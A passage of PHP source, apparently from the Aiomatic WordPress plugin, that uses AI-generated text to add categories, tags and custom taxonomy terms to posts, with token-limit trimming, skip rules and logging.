                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $ai_cats = replaceAIPostShortcodes($ai_cats, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_cats = trim($ai_cats);
                                if (isset($aiomatic_Spinner_Settings['cats_model']) && $aiomatic_Spinner_Settings['cats_model'] != '') {
                                    $cmodel = $aiomatic_Spinner_Settings['cats_model'];
                                }
                                else
                                {
                                    $cmodel = get_default_model_name($aiomatic_Main_Settings);
                                }
                                if (isset($aiomatic_Spinner_Settings['categories_assistant_id']) && $aiomatic_Spinner_Settings['categories_assistant_id'] != '') {
                                    $categories_assistant_id = $aiomatic_Spinner_Settings['categories_assistant_id'];
                                }
                                else
                                {
                                    $categories_assistant_id = '';
                                }
                                preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_cats, $mxatches);
                                if(isset($mxatches[2][0]))
                                {
                                    $minx = $mxatches[1][0];
                                    $maxx = $mxatches[2][0];
                                    $max_cats = rand(intval($minx), intval($maxx));
                                }
                                else
                                {
                                    $max_cats = intval($max_cats);
                                }
                                $author_obj       = get_user_by('id', $post->post_author);
                                if(isset($author_obj->user_nicename))
                                {
                                    $xuser_name        = $author_obj->user_nicename;
                                }
                                else
                                {
                                    $xuser_name        = 'Administrator';
                                }
                                $xpost_link        = get_permalink($post->ID);
                                $ai_cats_new = $ai_cats;
                                $userid = false;
                                $date       = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                $query_token_count = count(aiomatic_encode($ai_cats_new));
                                if($query_token_count > $max_seed_tokens)
                                {
                                    $ai_cats_new = aiomatic_substr($ai_cats_new, 0, (0-($max_seed_tokens * 4)));
                                    $query_token_count = count(aiomatic_encode($ai_cats_new));
                                }
                                $available_tokens = aiomatic_compute_available_tokens($cmodel, $max_tokens, $ai_cats_new, $query_token_count);
                                $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                                if($available_tokens > $max_result_tokens)
                                {
                                    $available_tokens = $max_result_tokens;
                                }
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                {
                                    $string_len = strlen($ai_cats_new);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $ai_cats_new = aiomatic_substr($ai_cats_new, 0, $string_len);
                                    $ai_cats_new = trim($ai_cats_new);
                                    if(empty($ai_cats_new))
                                    {
                                        aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_cats_new, true));
                                    }
                                    $query_token_count = count(aiomatic_encode($ai_cats_new));
                                    $available_tokens = $max_tokens - $query_token_count;
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    $api_service = aiomatic_get_api_service($token, $cmodel);
                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $categories_assistant_id . '\\' . $cmodel . ') post category generator, with seed command: ' . $ai_cats_new);
                                }
                                $aierror = '';
                                $extra_categories = '';
                                $finish_reason = '';
                                $generated_text = aiomatic_generate_text($token, $cmodel, $ai_cats_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'categoryGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $categories_assistant_id, $thread_id, '', 'disabled', '', false);
                                if($generated_text === false)
                                {
                                    aiomatic_log_to_file('Category generator error: ' . $aierror);
                                }
                                else
                                {
                                    $extra_categories = ucfirst(trim(nl2br(trim($generated_text))));
                                    $extra_categories = str_replace('//', '', $extra_categories);
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($extra_categories) !== '') 
                                {
                                    $api_service = aiomatic_get_api_service($token, $cmodel);
                                    aiomatic_log_to_file($api_service . ' responded successfully, category generated for post ID ' . $post->ID . ': ' . $extra_categories, true);
                                }
                                if($extra_categories != '')
                                {
                                    $extra_cats = explode(',', $extra_categories);
                                    $added_cats = 0;
                                    foreach($extra_cats as $extra_cat)
                                    {
                                        if($added_cats >= $max_cats)
                                        {
                                            break;
                                        }
                                        $extra_cat = trim($extra_cat);
                                        $extra_cat = strip_tags($extra_cat);
                                        $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                        if(empty($extra_cat))
                                        {
                                            continue;
                                        }
                                        $cat_slug = 'category';
                                        if($post->post_type == 'product')
                                        {
                                            $cat_slug = 'product_cat';
                                        }
                                        if (isset($aiomatic_Spinner_Settings['skip_inexist']) && $aiomatic_Spinner_Settings['skip_inexist'] == 'on') 
                                        {
                                            if(!term_exists($extra_cat, $cat_slug))
                                            {
                                                aiomatic_log_to_file('Skipping category, as it is not found on this site: ' . $extra_cat);
                                                continue;
                                            }
                                        }
                                        $added_cats++;
                                        $termid = aiomatic_create_terms($cat_slug, null, trim($extra_cat));
                                        wp_set_post_terms($post->ID, $termid, $cat_slug, true);
                                    }
                                    if($added_cats > 0)
                                    {
                                        if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                        {
                                            $args = array();
                                            $args['ID'] = $post->ID;
                                            $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                            remove_filter('content_save_pre', 'wp_filter_post_kses');
                                            remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            remove_filter('title_save_pre', 'wp_filter_kses');
                                            update_post_meta($post->ID, $custom_name, "pub");
                                            $post_updated = wp_update_post($args);
                                            add_filter('content_save_pre', 'wp_filter_post_kses');
                                            add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            add_filter('title_save_pre', 'wp_filter_kses');
                                            if (is_wp_error($post_updated)) {
                                                $errors = $post_updated->get_error_messages();
                                                foreach ($errors as $error) {
                                                    aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                                }
                                            }
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated categories.');
                                        }
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['add_tags']) && $aiomatic_Spinner_Settings['add_tags'] != '' && $aiomatic_Spinner_Settings['add_tags'] != 'disabled')
                        {
                            if (isset($aiomatic_Spinner_Settings['max_tags']) && $aiomatic_Spinner_Settings['max_tags'] != '')
                            {
                                $max_tags = trim($aiomatic_Spinner_Settings['max_tags']);
                            }
                            else
                            {
                                $max_tags = '1';
                            }
                            if($max_tags !== '')
                            {
                                if (isset($aiomatic_Spinner_Settings['ai_vision_tag']) && $aiomatic_Spinner_Settings['ai_vision_tag'] == 'on')
                                {
                                    $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                    if($avatar !== false)
                                    {
                                        $vision_file = $avatar;
                                    }
                                }
                                if (isset($aiomatic_Spinner_Settings['ai_tags']) && $aiomatic_Spinner_Settings['ai_tags'] != '')
                                {
                                    $ai_tags = $aiomatic_Spinner_Settings['ai_tags'];
                                }
                                else
                                {
                                    $ai_tags = 'Write a comma separated list of 5 tags for post title: %%post_title%%';
                                }
                                $ai_tags = aiomatic_replaceSynergyShortcodes($ai_tags);
                                
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $ai_tags = replaceAIPostShortcodes($ai_tags, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_tags = trim($ai_tags);
                                if (isset($aiomatic_Spinner_Settings['tags_model']) && $aiomatic_Spinner_Settings['tags_model'] != '') {
                                    $cmodel = $aiomatic_Spinner_Settings['tags_model'];
                                }
                                else
                                {
                                    $cmodel = get_default_model_name($aiomatic_Main_Settings);
                                }
                                if (isset($aiomatic_Spinner_Settings['tags_assistant_id']) && $aiomatic_Spinner_Settings['tags_assistant_id'] != '') {
                                    $tags_assistant_id = $aiomatic_Spinner_Settings['tags_assistant_id'];
                                }
                                else
                                {
                                    $tags_assistant_id = '';
                                }
                                preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_tags, $mxatches);
                                if(isset($mxatches[2][0]))
                                {
                                    $minx = $mxatches[1][0];
                                    $maxx = $mxatches[2][0];
                                    $max_tags = rand(intval($minx), intval($maxx));
                                }
                                else
                                {
                                    $max_tags = intval($max_tags);
                                }
                                $author_obj       = get_user_by('id', $post->post_author);
                                if(isset($author_obj->user_nicename))
                                {
                                    $xuser_name        = $author_obj->user_nicename;
                                }
                                else
                                {
                                    $xuser_name        = 'Administrator';
                                }
                                $xpost_link        = get_permalink($post->ID);
                                $ai_tags_new = $ai_tags;
                                $userid = false;
                                $date       = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                $query_token_count = count(aiomatic_encode($ai_tags_new));
                                if($query_token_count > $max_seed_tokens)
                                {
                                    $ai_tags_new = aiomatic_substr($ai_tags_new, 0, (0-($max_seed_tokens * 4)));
                                    $query_token_count = count(aiomatic_encode($ai_tags_new));
                                }
                                $available_tokens = aiomatic_compute_available_tokens($cmodel, $max_tokens, $ai_tags_new, $query_token_count);
                                $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                                if($available_tokens > $max_result_tokens)
                                {
                                    $available_tokens = $max_result_tokens;
                                }
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                {
                                    $string_len = strlen($ai_tags_new);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $ai_tags_new = aiomatic_substr($ai_tags_new, 0, $string_len);
                                    $ai_tags_new = trim($ai_tags_new);
                                    if(empty($ai_tags_new))
                                    {
                                        aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_tags_new, true));
                                    }
                                    $query_token_count = count(aiomatic_encode($ai_tags_new));
                                    $available_tokens = $max_tokens - $query_token_count;
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    $api_service = aiomatic_get_api_service($token, $cmodel);
                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $tags_assistant_id . '\\' . $cmodel . ') post tags generator, with seed command: ' . $ai_tags_new);
                                }
                                $aierror = '';
                                $extra_tags = '';
                                $finish_reason = '';
                                $generated_text = aiomatic_generate_text($token, $cmodel, $ai_tags_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'tagsGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $tags_assistant_id, $thread_id, '', 'disabled', '', false);
                                if($generated_text === false)
                                {
                                    aiomatic_log_to_file('Tags generator error: ' . $aierror);
                                }
                                else
                                {
                                    $extra_tags = ucfirst(trim(nl2br(trim($generated_text))));
                                    $extra_tags = str_replace('//', '', $extra_tags);
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($extra_tags) !== '') 
                                {
                                    $api_service = aiomatic_get_api_service($token, $cmodel);
                                    aiomatic_log_to_file($api_service . ' responded successfully, tag generated for post ID ' . $post->ID . ': ' . $extra_tags);
                                }
                                if($extra_tags != '')
                                {
                                    $extra_tagsz = explode(',', $extra_tags);
                                    $added_tags = 0;
                                    foreach($extra_tagsz as $extra_tag)
                                    {
                                        if($added_tags >= $max_tags)
                                        {
                                            break;
                                        }
                                        $extra_tag = trim($extra_tag);
                                        $extra_tag = strip_tags($extra_tag);
                                        $extra_tag = preg_replace('#^\d+\.\s*#', '', $extra_tag);
                                        $extra_tag = str_replace('#', '', $extra_tag);
                                        if(empty($extra_tag))
                                        {
                                            continue;
                                        }
                                        if (isset($aiomatic_Spinner_Settings['skip_inexist_tags']) && $aiomatic_Spinner_Settings['skip_inexist_tags'] == 'on') 
                                        {
                                            $tag_slug = 'post_tag';
                                            if($post->post_type == 'product')
                                            {
                                                $tag_slug = 'product_tag';
                                            }
                                            if(!term_exists($extra_tag, $tag_slug))
                                            {
                                                aiomatic_log_to_file('Skipping tag, as it is not found on this site: ' . $extra_tag);
                                                continue;
                                            }
                                        }
                                        $added_tags++;
                                        if($post->post_type == 'product')
                                        {
                                            $tag_slug = 'product_tag';
                                            $term = get_term_by('name', trim($extra_tag), $tag_slug);
                                            $term_id = '';
                                            if (!$term) {
                                                $term = wp_insert_term(trim($extra_tag), $tag_slug);
                                                if (is_wp_error($term)) {
                                                    aiomatic_log_to_file('Failed to insert new term: ' . $extra_tag . ' - error: ' . $term->get_error_message());
                                                    continue;
                                                }
                                                $term_id = $term['term_id'];
                                            }
                                            else
                                            {
                                                $term_id = $term->term_id;
                                            }
                                            if ($term_id) {
                                                wp_set_object_terms($post->ID, array($term_id), $tag_slug, true);
                                            }
                                        }
                                        else
                                        {
                                            wp_add_post_tags($post->ID, $extra_tag);
                                        }
                                    }
                                    if($added_tags > 0)
                                    {
                                        if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                        {
                                            $args = array();
                                            $args['ID'] = $post->ID;
                                            $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                            remove_filter('content_save_pre', 'wp_filter_post_kses');
                                            remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            remove_filter('title_save_pre', 'wp_filter_kses');
                                            update_post_meta($post->ID, $custom_name, "pub");
                                            $post_updated = wp_update_post($args);
                                            add_filter('content_save_pre', 'wp_filter_post_kses');
                                            add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            add_filter('title_save_pre', 'wp_filter_kses');
                                            if (is_wp_error($post_updated)) {
                                                $errors = $post_updated->get_error_messages();
                                                foreach ($errors as $error) {
                                                    aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                                }
                                            }
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated tags.');
                                        }
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['add_custom']) && $aiomatic_Spinner_Settings['add_custom'] != '' && $aiomatic_Spinner_Settings['add_custom'] != 'disabled')
                        {
                            if (isset($aiomatic_Spinner_Settings['max_custom']) && $aiomatic_Spinner_Settings['max_custom'] != '')
                            {
                                $max_custom = trim($aiomatic_Spinner_Settings['max_custom']);
                            }
                            else
                            {
                                $max_custom = '1';
                            }
                            if($max_custom !== '')
                            {
                                if (isset($aiomatic_Spinner_Settings['ai_vision_custom']) && $aiomatic_Spinner_Settings['ai_vision_custom'] == 'on')
                                {
                                    $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                    if($avatar !== false)
                                    {
                                        $vision_file = $avatar;
                                    }
                                }
                                if (isset($aiomatic_Spinner_Settings['ai_custom_tax']) && $aiomatic_Spinner_Settings['ai_custom_tax'] != '')
                                {
                                    $ai_custom_tax_arr = preg_split('/\r\n|\r|\n/', trim($aiomatic_Spinner_Settings['ai_custom_tax']));
                                    $added_tax = 0;
                                    foreach($ai_custom_tax_arr as $ai_custom_tax_full)
                                    {
                                        $ai_custom_tax_full = trim($ai_custom_tax_full);
                                        if($ai_custom_tax_full == '')
                                        {
                                            continue;
                                        }
                                        if(strstr($ai_custom_tax_full, '=>') === false)
                                        {
                                            aiomatic_log_to_file('Invalid custom taxonomy creator format sent. Correct format is: taxonomy_slug => AI prompt. Sent: ' . $ai_custom_tax_full);
                                            continue;
                                        }
                                        $ai_custom_tax_parts = explode('=>', $ai_custom_tax_full);
                                        $ai_custom_tax = trim($ai_custom_tax_parts[1]);
                                        $ai_custom_tax_slug = trim($ai_custom_tax_parts[0]);
                                        if(empty($ai_custom_tax))
                                        {
                                            aiomatic_log_to_file('Invalid custom taxonomy creator prompt sent. Correct format is: taxonomy_slug => AI prompt. Sent: ' . $ai_custom_tax_full);
                                            continue;
                                        }
                                        if(empty($ai_custom_tax_slug))
                                        {
                                            aiomatic_log_to_file('Invalid custom taxonomy creator slug sent. Correct format is: taxonomy_slug => AI prompt. Sent: ' . $ai_custom_tax_full);
                                            continue;
                                        }
                                        $ai_custom_tax = aiomatic_replaceSynergyShortcodes($ai_custom_tax);
                                        $post_link        = get_permalink($post->ID);
                                        $blog_title       = html_entity_decode(get_bloginfo('title'));
                                        $author_obj       = get_user_by('id', $post->post_author);
                                        $user_name        = $author_obj->user_nicename;
                                        $featured_image   = '';
                                        wp_suspend_cache_addition(true);
                                        $metas = get_post_custom($post->ID);
                                        wp_suspend_cache_addition(false);
                                        if(is_array($metas))
                                        {
                                            $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                        }
                                        else
                                        {
                                            $rez_meta = array();
                                        }
                                        if(count($rez_meta) > 0)
                                        {
                                            foreach($rez_meta as $rm)
                                            {
                                                if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                                {
                                                    $featured_image = $rm[0];
                                                    break;
                                                }
                                            }
                                        }
                                        if($featured_image == '')
                                        {
                                            $featured_image = aiomatic_generate_thumbmail($post->ID);
                                        }
                                        if($featured_image == '' && $final_content != '')
                                        {
                                            $dom     = new DOMDocument();
                                            $internalErrors = libxml_use_internal_errors(true);
                                            $dom->loadHTML($final_content);
                                            libxml_use_internal_errors($internalErrors);
                                            $tags      = $dom->getElementsByTagName('img');
                                            foreach ($tags as $tag) {
                                                $temp_get_img = $tag->getAttribute('src');
                                                if ($temp_get_img != '') {
                                                    $temp_get_img = strtok($temp_get_img, '?');
                                                    $featured_image = rtrim($temp_get_img, '/');
                                                }
                                            }
                                        }
                                        $post_cats = '';
                                        $post_categories = wp_get_post_categories( $post->ID );
                                        foreach($post_categories as $c){
                                            $cat = get_category( $c );
                                            $post_cats .= $cat->name . ',';
                                        }
                                        $post_cats = trim($post_cats, ',');
                                        if($post_cats != '')
                                        {
                                            $post_categories = explode(',', $post_cats);
                                        }
                                        else
                                        {
                                            $post_categories = array();
                                        }
                                        if(count($post_categories) == 0)
                                        {
                                            $terms = get_the_terms( $post->ID, 'product_cat' );
                                            if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                                foreach ( $terms as $term ) {
                                                    $post_categories[] = $term->slug;
                                                }
                                                $post_cats = implode(',', $post_categories);
                                            }
                                            
                                        }
                                        foreach($post_categories as $pc)
                                        {
                                            if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                                foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                                {
                                                    if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                        {
                                                            aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                        }
                                                        return;
                                                    }
                                                }
                                            }
                                        }
                                        $post_tagz = '';
                                        $post_tags = wp_get_post_tags( $post->ID );
                                        foreach($post_tags as $t){
                                            $post_tagz .= $t->name . ',';
                                        }
                                        $post_tagz = trim($post_tagz, ',');
                                        if($post_tagz != '')
                                        {
                                            $post_tags = explode(',', $post_tagz);
                                        }
                                        else
                                        {
                                            $post_tags = array();
                                        }
                                        if(count($post_tags) == 0)
                                        {
                                            $terms = get_the_terms( $post->ID, 'product_tag' );
                                            if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                                foreach ( $terms as $term ) {
                                                    $post_tags[] = $term->slug;
                                                }
                                                $post_tagz = implode(',', $post_tags);
                                            }
                                            
                                        }
                                        foreach($post_tags as $pt)
                                        {
                                            if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                                
                                                $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                                foreach($disable_tags as $disabled_tag)
                                                {
                                                    if($manual != true && trim($pt) == trim($disabled_tag))
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                        {
                                                            aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                        }
                                                        return;
                                                    }
                                                }
                                            }
                                        }
                                        $ai_custom_tax = replaceAIPostShortcodes($ai_custom_tax, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                        $ai_custom_tax = trim($ai_custom_tax);
                                        if (isset($aiomatic_Spinner_Settings['custom_model']) && $aiomatic_Spinner_Settings['custom_model'] != '') {
                                            $cmodel = $aiomatic_Spinner_Settings['custom_model'];
                                        }
                                        else
                                        {
                                            $cmodel = get_default_model_name($aiomatic_Main_Settings);
                                        }
                                        if (isset($aiomatic_Spinner_Settings['custom_assistant_id']) && $aiomatic_Spinner_Settings['custom_assistant_id'] != '') {
                                            $custom_assistant_id = $aiomatic_Spinner_Settings['custom_assistant_id'];
                                        }
                                        else
                                        {
                                            $custom_assistant_id = '';
                                        }
                                        preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_custom, $mxatches);
                                        if(isset($mxatches[2][0]))
                                        {
                                            $minx = $mxatches[1][0];
                                            $maxx = $mxatches[2][0];
                                            $max_custom = rand(intval($minx), intval($maxx));
                                        }
                                        else
                                        {
                                            $max_custom = intval($max_custom);
                                        }
                                        $author_obj       = get_user_by('id', $post->post_author);
                                        if(isset($author_obj->user_nicename))
                                        {
                                            $xuser_name        = $author_obj->user_nicename;
                                        }
                                        else
                                        {
                                            $xuser_name        = 'Administrator';
                                        }
                                        $xpost_link        = get_permalink($post->ID);
                                        $ai_custom_tax_new = $ai_custom_tax;
                                        $userid = false;
                                        $date       = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                        $query_token_count = count(aiomatic_encode($ai_custom_tax_new));
                                        if($query_token_count > $max_seed_tokens)
                                        {
                                            $ai_custom_tax_new = aiomatic_substr($ai_custom_tax_new, 0, (0-($max_seed_tokens * 4)));
                                            $query_token_count = count(aiomatic_encode($ai_custom_tax_new));
                                        }
                                        $available_tokens = aiomatic_compute_available_tokens($cmodel, $max_tokens, $ai_custom_tax_new, $query_token_count);
                                        $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
